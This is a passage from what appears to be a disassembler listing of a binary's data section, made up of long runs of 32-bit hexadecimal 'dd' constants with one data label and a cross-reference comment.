93158B2Ah, 0D465A28Fh, 0E933D278h, 5DF057A4h dd 529EA5DEh, 5DE9ACFAh, 68FA11CBh, 9212A3EFh, 6101F410h dd 0A84D12CDh, 89E5CFDAh, 0ACD1C9EEh, 2B299D49h, 0C9A9E725h dd 23DC8D47h, 7A300CFCh, 41702DE4h, 5769340Ch, 98B34756h dd 8814E2DBh, 0C9BAA503h, 0F183B04Ch, 42E02737h, 965F2A93h dd 3FA2356Dh, 0B4D36030h, 6C283304h, 0B84D38D9h, 5D51ABE7h dd 0CC040CC3h, 8D190592h, 0B394BDFFh, 0BA725D1Bh, 0BBE53842h dd 40124880h, 8C7A8D2Eh, 0C870D07Dh, 0A7E606EBh, 246BEFCDh dd 930468C1h, 552E9055h, 19AB556Ah, 0C62A1AA0h, 28CE72DFh dd 0F2CB9C80h, 978B1BB7h, 2EFB2462h, 45324FCEh, 0B52043E1h dd 9D06F160h, 7E6B7FE9h, 37E0D6AAh, 8F4F1EC1h, 1A44DA22h dd 6724BED8h, 3B2CD4B1h, 456B8ECBh, 0C509EB70h, 26771698h dd 881EF873h, 55D5FC7Fh, 2DD90CC3h, 0ED6D9DD6h, 77F781FFh dd 498D9BF4h, 602A9B16h, 551D5D8Ah, 1B5F8D28h, 0A9D85E81h dd 0BF25DF26h, 322DEF41h, 9A115AD2h, 3FAC152Ah, 4CDB7FFDh dd 1908C3D9h, 0BB92C544h, 0FB12A080h, 3D74F92Ah, 0A9057D79h dd 69A25A15h, 0F7270D59h, 30836FE5h, 0EE336C80h, 0D14F3975h dd 8EB7C980h, 0BF5901D7h, 5A7AEDEFh, 807ED564h, 0D71F4C8Ch dd 0DEF8B389h, 0E3592EF0h, 7EA70262h, 4DD45C74h, 6699C36Ah dd 0B3E5BA4Fh, 7806F8A1h, 62A34CCAh, 7D851BEBh, 668F428Ah dd 0AFADD9F2h, 0C4FA654Bh, 22C7F646h, 29EEEC43h, 0A7EAD925h dd 6E34ED1Ah, 91A3E5C2h, 0A185D77Dh, 332C5201h, 33315E8Ch dd 0F2FBBEDFh, 0A6209884h, 94AB2D4h, 0D95C93C8h, 369126DEh dd 928FB55Eh, 2A82CB34h, 0BEDFB4F1h, 0EBB58E26h, 46AD7C4Bh dd 0C94DC284h, 0EDB6143Ch, 0C5D6B22Fh, 0AC9D6275h, 0AD334C57h dd 0A4BE63D2h, 60FA0F07h, 45A19D72h, 145E5299h, 0A65F2B0Fh dd 0DB3BEEE9h, 0DDDDAA30h, 0DAFD91ECh, 24667110h, 3476AFEAh dd 876679E2h, 0A0F964EFh, 34304F6Dh, 9A40B656h, 8F621FA1h dd 0DA53F8E0h, 195DD21Eh, 69777441h, 97D5F19h, 0EC838853h dd 1B52D7CDh, 0B52B9Fh, 0E304F475h, 0E1B05B90h, 46F14974h dd 0A90A5D23h, 0D92A26B3h, 0D8DC051Eh, 7D7C0CC6h, 1D2AE73Ch dd 35CC055h, 0AA5EB20h, 0AE17165Ch, 80AF6719h, 295BF303h dd 52AF526Eh, 0F40C1792h, 0FBA9AF62h, 8E8D43E4h, 96543ED2h dd 9CB427EDh, 0EACBFDA8h, 1097FBFEh, 3E9DE564h, 0A112BE56h dd 50807BA7h, 7A0BCF10h, 6E1DA547h, 0F0D76ED7h, 9301E54Ah dd 714E9680h, 436095BCh, 0FF4367h, 42E7E7A7h, 46AC232Fh dd 9756BE81h, 7F59771Eh, 3772F7C1h, 2B6D645Fh, 0C4EE17FEh dd 97099499h, 76BEDD5Dh, 0BD59F2h, 0AA32C78Dh, 0CC2A8A44h dd 0E2B1906Bh, 0A9A8030Fh, 5C3321Fh, 0B95E2765h, 7491B7E7h dd 0BDB1FB68h, 1CE65A11h, 97E18C2Fh, 206B1008h, 70D27ACCh dd 1DF1382Fh, 156D3AA1h, 46542668h, 0C55BE0A8h, 0FAA9B838h dd 0E3D64BDAh, 782BB4DDh, 7F91E628h, 591EB5FFh, 0E4CD7995h dd 0AF66B997h, 0D98A27DAh, 1D7DB549h, 70A34DFBh, 809A11F4h dd 0D60F698Ah, 0C1955F7Ah, 1C582A70h, 1E729A5Ch, 3CF4B542h dd 12B5185Eh, 699BEADDh, 0D7015FF2h, 0E09DBA74h, 0B2926443h dd 2360382Ch, 64C1FF12h, 9A575C65h, 78559ACCh, 2AADAAC5h dd 9B465A73h, 5EB0B2EAh, 48CDEAD2h, 69B471F1h, 750818C6h dd 1667C567h, 545FD7BAh, 369E4F66h, 93B464DDh, 0FA242322h dd 0BAF7CD85h, 0A37D8CF5h, 8BE47A58h, 9B929178h, 0A7F187F1h dd 0EC1F7F97h, 8B9EE5A7h, 3173929Fh, 0D602DF2Dh, 7AE00B21h dd 14B2E750h, 0AFBFDB29h, 93E7E260h, 0A475FCE3h, 7029CDACh dd 54A3F2DDh, 24B00DF9h, 0FFE4A552h, 692C92Fh, 3B30210Eh dd 6B1FB519h, 6AF976A2h, 17351E61h, 0B5D65DD7h, 0E6E2260Fh dd 22C28CE7h, 3E2C19E0h, 529B35E0h, 231A9C3Dh, 0BCE71396h dd 2F4EE4B5h, 10961BE5h, 2225BF74h, 36EDD6EDh, 8FB4B988h dd 3A4673B3h, 0FC458374h, 34B3FA20h, 0FFB85957h, 76847B00h dd 556D86D6h, 7A4E0A5Eh, 0B446B424h, 66122137h, 0EDE055CBh dd 0B00E962Fh, 37007281h, 9953E291h, 0FB27F540h, 24015EDh dd 0E67078F9h, 82D5DEA6h, 0DA549279h, 0F418D40Fh, 6ACE204Eh dd 7EEFC8CDh, 0D9902CE6h, 0FFAB1941h, 0A18F3B56h, 974C6A80h dd 0AAC38BCEh, 0D28B63ACh, 24999C83h, 0C3C2B770h, 26F1B605h dd 0B9DAE06Eh, 451AADEFh, 59B44CFCh, 0A2FCB4FBh, 0E0838033h dd 63149248h, 74617216h, 0BFBE117Ah, 0F0612088h, 0DEFBB6B9h dd 0ED8BAB9Fh, 358ED28Dh, 329BDD3Fh, 6FF35519h, 0E4225AD0h dd 0BB147268h, 9656FA89h, 0EF700B7Fh, 87E2E13Bh, 8893D784h dd 6D5BAAC5h, 0D1502F1Fh, 94F72554h, 6A6A5Bh, 0C144E5Fh dd 76FFF3D3h, 0FDBF9396h, 0E067BFBAh, 9CC92A15h, 92A9333h dd 474BDD59h, 0D9422256h, 0D721C24Dh, 263337A6h, 93AD3FB0h dd 0DD74F07Ah, 82CD4DABh, 0E111FECAh, 0AF9A8F07h, 9CE66302h dd 57EE9700h, 13073AF4h, 0A03DAF39h, 34C4B1A9h, 0D0165593h dd 4C71270Dh, 31844F67h, 36BBD98Ch, 3E2596B9h, 89A991CEh dd 0C11C1342h, 0D54B6881h, 0C1FABA5Eh, 2BA9692Ch, 0FD488BAAh dd 5248DC4Ch, 336E4E8Bh, 0B12EABC6h, 24C362Fh, 0FC02A3C4h dd 2CC20198h, 3D4A707Ch, 0BC56C470h, 58DE5740h, 83567517h dd 7D5514B6h, 420398A1h, 6125EB7h, 20F39079h, 69C7031Eh dd 46AFC83Bh, 9EF5B792h, 0AF523957h, 0B3216F37h, 66EEE48Ah dd 0E33644DAh, 1A245F21h, 5CAEA531h, 33757E36h, 0E182736Ch dd 0FDCDB589h, 0F36F12FFh, 2B45150Dh, 0B8B5941Ah, 0C7E35F25h dd 4181C5ACh, 0C7831D32h, 5D4D49C4h, 0B3F37AAAh, 0CC119439h dd 5EB9E31Ah, 40AAB47Dh, 448F1DC8h, 7A9EC5C5h, 0DFE29236h dd 2AE675D8h, 826ADBE7h, 60BA2530h, 2BEA6211h, 375AC304h dd 0B7C85AF7h, 21319FC2h, 10FA0CBh, 91FB9BDFh, 0A588A2A3h dd 0BA2CB1DEh, 8363104Ch, 88963B05h, 3D4E565Eh, 0FEE16500h dd 179BD75Ah, 8CE26BBFh, 261D8D8Dh, 0B234A073h, 0C7892E64h dd 0C74DC796h, 79DF210Eh, 98D0FACCh, 15A63E09h, 39E0848Eh dd 0D9A7F0E6h, 0D9BDD559h, 0FAFD401Ah, 980EC1Ah, 259B45FBh dd 85A9C5DFh, 1BA1E9ACh, 10FE2127h, 0FA38440Eh, 697E798Fh dd 0F6FB4C49h, 789A2D9Dh, 1D651F22h, 78E045C3h, 0FBC087F6h dd 715C6E4Eh, 1CBD020Dh, 703B5367h, 40EF4591h, 0F4196DABh dd 3D8543D7h, 4C2DA051h dd 48815947h, 2884C240h, 2989C432h, 0BDE76F57h, 0D7F8C754h dd 0F690575Ah, 86B1C220h, 71F916C7h, 0D9BEE4A8h, 11CA2FAFh dd 89D7A825h, 0B5B7511Eh, 6959E83Bh, 0C531F3D7h, 4E5ACEBDh dd 0A6DACEA4h, 0AB2FF1C3h, 0C74BD12h, 0C7FDD7ACh, 7A2B3569h dd 17357B00h, 0D76359AEh, 1435EB1Eh dword_43005C dd 2489F992h, 42ECAF3Dh, 3978BCD8h, 4D2A5C17h, 5A62AA46h ; DATA XREF: .data:0041A720o dd 0FEDF4C9h, 0F17C2E7h, 51B4DF73h, 0B30022AEh, 32534E65h dd 7125A3Dh, 7C1592DBh, 0E0008165h, 466D2143h, 61A7864Bh dd 135256EBh, 0EF4AF23Bh, 517AC833h, 0F355A29Eh, 5FA77196h dd 0C1689B2Dh, 615EB937h, 0BC1BFCFBh, 9568DCFCh, 0EB3BA6E1h dd 95BB06AEh, 0DF6C9CB5h, 0B9772F80h, 24AC9587h, 0B8D5DFFCh dd 0B5F61561h, 1DCB1078h, 8B6942C3h, 0EAD8AA34h, 64187FABh dd 63A4AF11h, 1D78F5A2h, 8A99FE40h, 0F100FF08h, 0E049246Eh dd 80CCC18Fh, 512522EAh, 0EEA2335Dh, 7B30ED63h, 5A82EF41h dd 0E1D7E85h, 0C806F796h, 0BB7831A6h, 0C53925B2h, 2CFB7D32h dd 5F99A809h, 8CA17935h, 0EA8C0336h, 0CDA4B716h, 82367A7Fh dd 0CA68D8CFh, 90969292h, 0E30B5ABDh, 7F001007h, 0B5C4607Fh dd 0A434F1DFh, 0D3579F19h, 382914AEh, 9B1F56BDh, 0E2E4C84h dd 0A2739A71h, 548A56DCh, 0A35F1551h, 69DC396h, 542CB6E7h dd 9567B213h, 923FFF57h, 0C3E3917Bh, 93848750h, 4972A9C8h dd 0DA6F99C0h, 1DCF1DBh, 0C1CDD077h, 6B176850h, 0CE76BCD4h dd 128004D2h, 0D9F36D70h, 0C3AB078Dh, 48804A1Bh, 5388900Bh dd 0D4EC321Fh, 8BC25E87h, 8D230386h, 0E2E13D28h, 71B39419h dd 7CE81E60h, 5FB92326h, 0D8D85586h, 0B288BB61h, 0CD19E94Dh dd 0FD393691h, 8CE89F9Fh, 0D7485F16h, 23F18466h, 8CA527D4h dd 0E60735A1h, 0CB13E046h, 0B79E5783h, 792DF5D9h, 276B2720h dd 3A311028h, 0CAB4CD1Eh, 0EA360220h, 0A5A4DFB7h, 9B62486h dd 5DD8317Dh, 0AFBA41BCh, 0A6392E63h, 1E3575D2h, 5DE9B6A6h dd 3F98B3B1h, 0EF3FA61h, 24B2718Fh, 8EC7BD36h, 0A407A3DAh dd 9363868h, 9154BAE3h, 4FCD5063h, 8643D058h, 8E1501ADh dd 62452B4Eh, 0FCC04B4Fh, 0CA43ACA7h, 803FAD29h, 43A2158Bh dd 12880A0Fh, 0C0299194h, 0DD7B037Ch, 8A17B3BBh, 5390A6B3h dd 0B1975ABFh, 0C360C765h, 67512501h, 95888661h, 0ECF147D5h dd 14A0D180h, 5C3A673Fh, 0D587831Ch, 28579013h, 0EB7B2729h dd 4B5F9F14h, 11DDFD8Dh, 6548B1A3h, 454C83BAh, 2F0EBC06h dd 3B7DCEF6h, 0B1788A34h, 0C1A273B3h, 0CC70D7ECh, 0DB5844F6h dd 66BAC195h, 89907E18h, 97DA0237h, 0B0A978C2h, 0DE429210h dd 78CE8FB1h, 758DEA4Fh, 0E2A64EF5h, 7129F10h, 94A333DCh dd 6C70C85Ch, 1EC52760h, 0A8F41354h, 0ED275F45h, 974A5F9Bh dd 0FE9ABC85h, 234EF9E4h, 9E153CB2h, 0DC87FBF9h, 4B71362Fh dd 101828C5h, 0B772B9ADh, 22245BE8h, 80AC1122h, 0E776B93Ah dd 3CD8F190h, 87440B29h, 0C6BA73FEh, 1CDEADFCh, 0D125688Ch dd 0D03D804Fh, 750F4CCBh, 0DDB842C7h, 0EFD272C5h, 49466034h dd 8CE2F194h, 1B8AF328h, 869AD228h, 0A225040Bh, 967C458Dh dd 7BCECEFCh, 623FBAD9h, 20AE7D5Fh, 616FF484h, 223CF71Bh dd 0D0290100h, 49B0435Ah, 6EFAC046h, 15BA9474h, 0F1573C54h dd 0F10F413Ch, 0D200AB3Dh, 8EDEAC2Ah, 0F7F6DDD8h, 349F7C95h dd 51DC226Dh, 0FD1028B3h, 4A4BC454h, 0B371B470h, 7111166h dd 46B2AE34h, 0CD254273h, 1F99A29h, 77DC5F95h, 5D5A7F24h dd 0B8905333h, 5426D898h, 5AFA31E5h, 49E71048h, 99ECB6C7h dd 0EFC8B3AEh, 0A069274Ah, 812165F6h, 0B5491D31h, 0B77A0F3h dd 5E88C03Fh, 0DC762DE8h, 745BD543h, 45FEE3D9h, 66C8F17Ah dd 7E59CFBDh, 25426CBEh, 0E76DCBB2h, 0BA1D6704h, 1A29F7DBh dd 0C33B1700h, 54CB6064h, 778BBF0Eh, 0BD083029h, 80720C55h dd 4EC8B1F3h, 0FCC1103Eh, 570C5770h, 0F5BBEE29h, 0D7051418h dd 8F5E0932h, 3B151C38h, 9A0F456Dh, 0B2E1C384h, 0E40479B3h dd 295A290Bh, 2C09B617h, 3CCCBFA1h, 0FF888B4Fh, 96B9FA8h dd 0B4BDFFBDh, 253F71F6h, 0F00CD5F4h, 466FAB94h, 42E2A02h dd 2BE6F63Eh, 6F8EF532h, 9109D85Fh, 0C8C35AC8h, 5765061Eh dd 5AD1FF11h, 4DF2B058h, 816BDA18h, 0FA57761h, 32F71C94h dd 0BDEC77A2h, 6C41A8D7h, 0D61E4C46h, 79218801h, 5658DBA3h dd 8D384FFDh, 64C40A46h, 47FA1A40h, 11B7D97Dh, 23834BFEh dd 4098CFBh, 9C7515D4h, 444EF408h, 2EDDFA9Eh, 2E3F94D1h dd 0E2D56C9Bh, 2795D83Bh, 0AC7C3C9Ah, 0F25782AEh, 0F81CAC70h dd 35A1D861h, 6499C279h, 5ADBCF2Dh, 0F621038Eh, 91090267h dd 7F04CA3h, 0B175939h, 56F5465Bh, 9D693D18h, 4A93FE14h dd 69BE6205h, 0AA265AEBh, 259DD607h, 0C23B3F85h, 7634A308h dd 18723D5Ch, 0FF7AB041h, 13CA3CC5h, 9EE8AA67h, 590C4982h dd 0B879BF53h, 60736A56h, 5D6C7AD6h, 0FCAEDDA7h, 43732A96h dd 2F7B7172h, 81C7FAFEh, 0E164CFC7h, 287E8F64h, 0B0C6030Ah dd 91F07C65h, 9AF23EBBh, 36CF2EA5h, 0BD0324E3h, 0E426EF2Bh dd 861B1399h, 2D7426F6h, 1C53844h, 6BCD9E5Dh, 0B6B6880Bh dd 0F855A0Bh, 5BB4A0ECh, 1D1297B4h, 4FD69B9Bh, 0F31A0879h dd 0C0EAE88Dh, 80AD9Eh, 1A970E09h, 0FB3D7765h, 0CC769AC9h dd 0AE34FD32h, 0F64716A2h, 5A3003ABh, 0A5423AE5h, 8B35DE89h dd 0EF56C8E2h, 9D4D22B9h, 2A118474h, 0D07CDA36h, 0FEE5BC2Ch dd 775156EDh, 401C5BA0h, 7473214h, 0F06F9B87h, 0C618A1EEh dd 0CDC4BDC8h, 747114ECh, 735A7529h, 0E6711326h, 3F7F9CEAh dd 0DDEBBB77h, 64FBF727h, 5D80A3E2h, 0DC153A4Eh, 0ADCC9B19h dd 0DA6CDDh, 2882133Bh, 0C40056h, 0FE2729FEh, 0BC7981A7h dd 0D84D3B5Eh, 0DDD10205h, 3B6113D7h, 0DDF7367Ch, 423CC884h dd 84E79C64h, 8DB08AA8h, 0A17CC6F4h, 65689E12h, 0D52B0D2Ah dd 52532873h, 506DB8CAh, 0A9E1C085h, 8BCF0F8Dh, 0ECB76B00h dd 61A7E98Eh, 0CC2C0849h, 4B7CE982h, 0E0E83679h, 13FD5BADh dd 165B2EE8h, 0C91AFAB0h, 6ABB4E37h, 2A33B089h, 0EA8C93E8h dd 646A0B4Bh, 0FDA8D347h, 4697753Ah, 0D0AE1DAAh, 0D654F979h dd 0F880436Bh, 0E9FD332Eh, 0AE4F2D1h, 0A6A071D3h, 32B5A930h dd 0EB9C1399h, 1AC9F03Dh, 0BAB9EB39h, 1F451B84h, 0AA53040h dd 0CADDDF94h, 6D3043F2h, 3B0682E3h, 2783AA86h, 8A4C6602h dd 79CEF5A1h, 6AF1A910h, 782A4A7Ah, 90B88E03h, 0CAE5F598h dd 33A67D90h, 32C6B1CEh, 65EFE881h, 1215A537h, 0A637D551h dd 0D6106F94h, 300ABD4h, 5A6A3C47h, 6F213A3Ah, 0A88556ADh dd 41E9CC4Bh, 7514F7B3h, 0F49E7EE1h, 850B69E0h, 0E7089AFEh dd 0FECEF905h, 0F9729711h, 0A53FA43Eh, 0A0898A05h, 1E2F36Dh dd 0F66889D2h, 3B6D33B0h, 3B23E1BCh, 3C78B1E2h, 92773406h dd 0E8B58899h, 863B9E20h, 415780ECh, 6F077258h, 9F026235h dd 0E70D2DBCh, 2B95430Eh, 0F71593F0h, 0C9F34BF2h, 58BEB7B1h dd 6ECF741Ah, 40C94D5Eh, 0D01D0079h, 0B7E79942h, 0B8863CCCh dd 5DB42CBEh, 0B0E8BAFh, 75593B46h, 0E6CD4B57h, 3ABE2221h dd 527879Bh, 0B77DCB09h, 0CC2F8EAFh, 0B79031F9h, 36DB6BEDh dd 23518164h, 0CDB3C4E7h, 0BC7C1FD1h, 38F59EDFh, 77D83ECCh dd 22A8606Fh, 0DE4CA6EBh, 0D051ABD9h, 0F184FE7Ah, 0E3A9466Dh dd 507A7ECCh, 6771E950h, 8DEDE6FCh, 45C94BA8h, 0EBE31296h dd 0B9542659h, 18A7275Fh, 8ECB37FFh, 53F399C8h, 1E9E235Ah dd 31C05ED7h, 58233D62h, 0E430C214h, 41BA8D96h, 28C27910h dd 8F7AFD1Dh, 0A9CB042Bh, 0AE03E098h, 786483B5h, 0A5E35E42h dd 0F4A49171h, 2E97430h, 0ACC5FE62h, 0D961E51h, 61296D73h dd 4B02B0D7h, 7753B052h dd 0DC28FE46h, 0CCCC7DFDh, 7914D2E9h, 358CB216h, 0D0E2F616h dd 4D165413h, 518A8F8Ah, 0AE3400D9h, 0C335EB83h, 6E1800B3h dd 1B2D4015h, 0E279A48Bh, 5D3F0612h, 9ED5DC7Fh, 8449FB1Ch dd 0FC8604BBh, 3F09FB5Ch, 0D9C03B1Eh, 68BB0B9h, 51D394ADh dd 0E5FB199Fh, 513998BEh, 96395737h, 52FE5523h, 9116F3C8h dd 5C69A7B2h, 0CB4A5B12h, 4F39A9F3h, 0A4A99EA2h, 6802DD35h dd 3BF5465Fh, 0CEE2B36Bh, 0ED3CB3F5h, 961B7A75h, 7AE40DAAh dd 0A0A9AD8Dh, 9D28F345h, 3662CD7Bh, 0A8144FB0h, 0AC9DBDE0h dd 0E8A22A91h, 0FC052EBEh, 0D19BBA91h, 7B3E2F52h, 337EDF5Dh dd 1E1A6277h, 50AE3D06h, 4968ECE4h, 8B73055Bh, 9F3678D8h dd 0D58DD37Fh, 0AD4F444Bh, 0BFD26910h, 5BE7071Eh, 86A223D1h dd 11B0D42Ah, 0A33A8A16h, 450DDB4Fh, 96649C50h, 0CC7F8E63h dd 83F964Bh, 80A57AB7h, 0B0946AEh, 2A3EC0A2h, 8480FFEAh dd 5DA54A5Ch, 9A552563h, 7C9D1BB2h, 0C6A6179Bh, 8A726F36h dd 0CCF0D15Eh, 95FD1CECh, 0FA0C5591h, 0CEEEFA04h, 9EE08091h dd 3807F34Dh, 40AAB8Bh, 97F4BEA9h, 0AAFD57A2h, 1317A5EFh dd 81CBB03Eh, 8413D2DBh, 5C7DE532h, 9F994BECh, 71F67C26h dd 3893A07Ch, 7BA03ACBh, 0E50A1B3Eh, 71C62CD8h, 8E79460Eh dd 0C77D3B53h, 0EC78F4B9h, 6A8DEEFAh, 0D8FAC070h, 1BF6BB59h dd 0DDFF8CA6h, 0E3A6C985h, 0CB849609h, 0BAF02481h, 0DB1C005Fh dd 0C6DD257Ah, 0E6223E3Ch, 7D99004Bh, 61B47530h, 7AB49740h dd 8F996490h, 0BCB57C39h, 6601620Bh, 0B2BC4E73h, 4767D457h dd 0B7F0350Bh, 755362Ah, 73F7848Eh, 6D12972Dh, 7B2C8B58h dd 71BCE3FAh, 0B46D354h, 958DC75Bh, 0DF99223Ah, 1E29CEC5h dd 0C4CC9D86h, 0CFBED7ABh, 0E6ABEFD0h, 0D9E48E68h, 26C94146h dd 8976314h, 0EC7CC909h, 0F021BF32h, 41E40309h, 0AD5D71F4h dd 2FA3F032h, 8EE62127h, 0A728C307h, 0CA183E32h, 80118F47h dd 8CD4F70Ah, 0F211E6DEh, 0AF48C9A9h, 71777250h, 0AF75FF6Fh dd 0CCD292F1h, 935A5B77h, 608C1747h, 0F445E14Dh, 0EEA2AF8Ch dd 0FF29C179h, 497C8CDAh, 6626F478h, 0D18DAD83h, 0CB9274B3h dd 80209A5Bh, 69E466D7h, 45CB61B8h, 1341891h, 0DF0AE4E8h dd 0B4A577DCh, 0EC3D840Dh, 14537496h, 1E694B39h, 0C13D36E2h dd 0B3563021h, 77073A7Dh, 6FC3CC20h, 0E73DDC4h, 69ABF1F3h dd 0A66EDC05h, 7549DA74h, 62BE837Ah, 0A3F7656Eh, 0FE7C712Ch dd 1BB6A5C7h, 0DDEB8DB1h, 270C8DCFh, 8DFBEEFDh, 7C5AAC1Eh dd 0B389A63Ah, 0B895C44Fh, 64FDB96Ah, 0F43AB384h, 0E3FFB4EFh dd 0F4F6F515h, 0EF9A4C3Fh, 6A916A6Ah, 9827BFAFh, 3597242Ch dd 0CD4F2764h, 0C8B65D62h, 0D72556CCh, 94B943C3h, 9B5847D8h dd 6AB2C2A0h, 63C152E6h, 0B270E945h, 15D70351h, 43CEBB3Fh dd 0BDF1CE49h, 0B7880FBDh, 0C5B18849h, 0C1646B4Bh, 76D0AD6h dd 0EB238B57h, 6EB8F4B1h, 628E4D18h, 30F900BAh, 4EA4F109h dd 8092C5B7h, 138B427h, 145E75E1h, 6CBF104h, 46F7E7D3h dd 69A4C741h, 7A62C6B7h, 836755FDh, 0FEC7582Fh, 694602FEh dd 887AF69Dh, 0E78A073Fh, 1264E4B7h, 0D433D8A1h, 5C35BC4Ah dd 56F54328h, 0DEA91BD3h, 0FBE82BD9h, 725384E3h, 5FAAE765h dd 5C391A60h, 0C818946h, 3798BB5Ah, 0B0DE9FB9h, 4DD3B1E4h dd 0F6BDF323h, 202A7227h, 9CD09133h, 0F847A069h, 8DB23669h dd 6314D06Dh, 78238E9h, 9CA3D562h, 7A804E1Fh, 0D70ED0ADh dd 3E7C303Dh, 0B174F01h, 9AAF6B31h, 67C29FAh, 0F2B98887h dd 0B56292D3h, 5A14FF59h, 0AFD10FDAh, 10A171A6h, 2DA960F6h dd 49161A37h, 54F7A6AAh, 7E1BC37Ch, 0D9010744h, 0A3C2F438h dd 0DF7F9443h, 38ED7304h, 6528C17Bh, 9DA6C6B1h, 0A480BB6h dd 407138CEh, 0C78C9DC5h, 91610679h, 0FA6915CFh, 2737C7DDh dd 3AFBC22Dh, 0CD55FF36h, 82805562h, 56564F12h, 10B1A360h dd 9713188Eh, 4107FD2h, 2E39827Dh, 0CD277768h, 0C3C7297h dd 0A6637A7Bh, 6F01FAD9h, 0E5442502h, 0A3DA7EBEh, 36C364FBh dd 0F9909CCAh, 7CEA002Ah, 4EE41F54h, 2F32EF90h, 0A3D164A0h dd 0C1C1FA7Eh, 0F28AED57h, 75586697h, 63BD2F7Dh, 2820CD46h dd 0D6BE9CAh, 6EC423C3h, 956393ABh, 0FC30964Eh, 7DED5464h dd 953A04B3h, 72FDE9FCh, 28006934h, 85A3B61h, 68EC4EDEh dd 197D83F6h, 0F273003Bh, 5ABDF479h, 4AB9E247h, 21A8019h dd 40BE51C4h, 5FA731FEh, 82FCED90h, 0E958455Fh, 2066CB49h dd 4C08A3B0h, 0EF6D41CFh, 5E18C554h, 0BBD4AD94h, 0F360F210h dd 0FB989828h, 2829CEEEh, 1262A334h, 596C8942h, 983B17ABh dd 31D60E9Bh, 0A4389087h, 210D0478h, 0F188FA71h, 0C9FB3CD3h dd 0F5FD0437h, 6C34BC57h, 0B1A23CDAh, 0CD5531A4h, 22FD304Dh dd 9EA96681h, 4CA2723Dh, 955B41E2h, 0C64467FCh, 0E9A4E3DDh dd 0A52312C4h, 1050A09Bh, 9C787CADh, 0A9917902h, 0AA9E0B94h dd 0D28E15A1h, 25AE1182h, 0ACFCA5F7h, 0ABA30EBBh, 63C7DBD1h dd 0BB0A4826h, 0ABDAF0D2h, 0DDFBB0FDh, 0E43FB196h, 69A09518h dd 2ABB1494h, 8AC8FCFEh, 0EC27DDC9h, 7F0063D0h, 0D9F4ED86h dd 2B6668A1h, 741F3127h, 0C8C8067Ch, 8F3E3CFCh, 5EB567EDh dd 8547AF06h, 5F6F647Ch, 0E1A834A4h, 0E427292Fh, 6ACEF25Eh dd 87E85478h, 0C329D22Ah, 0ED2E11C0h, 26B9BAFDh, 31571A2Eh dd 2D4E296Fh, 679E73AFh, 52135A94h, 0A94B819Bh, 372D5D11h dd 43CF244Ah, 1891291Ah, 0EA821DFCh, 0F3E2CE67h, 7449B110h dd 32BD9D3Ch, 897703h, 6F0FFAC1h, 0FCAAC205h, 77EFEB8Ah dd 0C4690B2Ah, 0F4F43984h, 1F435ED3h, 3A9D4AB3h, 6940152Ch dd 126D7DDBh, 7CDA2661h, 0C21DE078h, 9E7CB2DAh, 0CC9F8F24h dd 0C0EC0DEAh, 21902F5Fh, 76EA309Bh, 3E3DFAF2h, 0F2044F69h dd 34EEC3F8h, 0B6610FD1h, 0B8767959h, 7E9DF069h, 48F8A4AAh dd 46279438h, 0AD7CDE26h, 0FC836DD5h, 6F29CAD8h, 3AF46E91h dd 0EC105ABFh, 57F4F09Eh, 0EDED89BBh, 0B88287D3h, 0C01140C7h dd 83DAB40Fh, 0D4019D29h, 53914088h, 9353EA8Ah, 37CE4B71h dd 8637B162h, 11C1F636h, 70F7FCF5h, 6B9EE6ADh, 69857E00h dd 7D6B920h, 0DC164B80h, 1B01B663h, 8131F0FAh, 8266EE74h dd 0E27DE76Ah, 0CE1F316Ah, 8C06BDB2h, 5808350Bh, 84AE0ED7h dd 987EDDA8h, 7EC3701Eh, 0ADF75783h, 4D3C9E8Fh, 0AEDA98EDh dd 0B3593CF3h, 0BEF42CAAh, 0DB92FD28h, 2447BBD1h, 34F7D810h dd 3674B334h, 5B88E899h, 0E8A0ADE0h, 0C9EC7AC5h, 45C8FBF7h dd 1F313DCAh, 0DC49D42h, 370E007Eh, 3EF59E8h, 7E088881h dd 30BA98D0h, 1D4814BFh, 0E4490B3Fh, 4DAE78AFh, 8BFB968Ch dd 3E6D7B6Fh, 0E6496299h, 2F5FC5F4h, 0D02855CFh, 717B159Fh dd 90F3ABD7h, 0C579D003h, 0D685205Ah, 0F117AB9Ch, 0A2212A98h dd 0A19C9359h, 0C25693DAh, 913FADA7h, 5CCB50F1h, 72D35Ch dd 95227619h, 18FCDEC0h, 8729583Dh, 0F62C79E3h, 67D2EDDDh dd 7D69FE34h, 0D7602DF7h, 2A5CAFF5h, 0F1CFF83Eh, 7790119Ah dd 4893FFDDh, 0B005495Ch, 2E0931FDh, 21DA8FC5h, 0FC314E41h dd 0FB46D1D4h, 6DFFB222h, 714B1B06h, 2BF017FEh, 0BBA06BCBh dd 24270144h, 2CA7F424h, 975B8AD9h, 500DE8D2h, 38C5B0EFh dd 66389D7Dh, 16BC4E3Dh, 0F1745F91h, 5D8D82CCh, 0D456905Ch dd 0FA376EF4h, 76BCCCE8h, 62978CD4h, 50087C9Ch, 0D0C1A021h dd 37715E6Ah, 0B51C3BD8h dd 8562B053h, 768AEDF8h, 93429001h, 5C37378Eh, 939B736Dh dd 0F6BFCA53h, 0ADC9FECCh, 1602B6EDh, 0CC1536B4h, 55E4B67Eh dd 0ED13C5D2h, 812BE96Ch, 0D47FFC63h, 7469A8F2h, 0FB1A101h dd 543B084h, 8728A1B8h, 0F9E9378h, 0CCF24C1Ah, 577D7CF6h dd 0D09D7E40h, 650F0655h, 0DBF6951h, 0B078C794h, 0A11025BDh dd 0A87CD623h, 35FB03Eh, 50307702h, 938D5B3Dh, 33D56644h dd 8FD55826h, 73D7E2DCh, 7923F9A5h, 0D3340375h, 8A434CC5h dd 0F47736F3h, 0F7E70AF4h, 76852421h, 684CF60Fh, 4FCE238Ch dd 0E0D5D173h, 0FFD61003h, 0D1F30B53h, 9CFBF3EFh, 70F172BBh dd 0EE206466h, 8699E7F3h, 54800A76h, 0AF61516Eh, 12B19509h dd 10D6ADE8h, 0BAFD4CD8h, 76C80F8h, 2C08FD61h, 0EED2B71h dd 544BFB51h, 0A6670F12h, 94E27E8Fh, 0D7DEA1F0h, 29DA1CDh dd 0F744DAEAh, 0CB9BB396h, 2D2C12FDh, 7831F0CEh, 16DC5EE9h dd 54DC3BEEh, 0BEAEA7BCh, 9FD05CCFh, 32C52BBDh, 9E805F86h dd 22FA42C8h, 46182248h, 0D0D21D73h, 0A5213B10h, 0F929C6FFh dd 9417A92Dh, 4BF411CCh, 47373F30h, 161434DBh, 528F569Eh dd 0C8D703BEh, 0CB6ABD33h, 0A6465284h, 1118C05Bh, 0E444E45Dh dd 0D90CA523h, 0B69F0BB8h, 0C73409F7h, 2A352067h, 34711B7Dh dd 36C8429Fh, 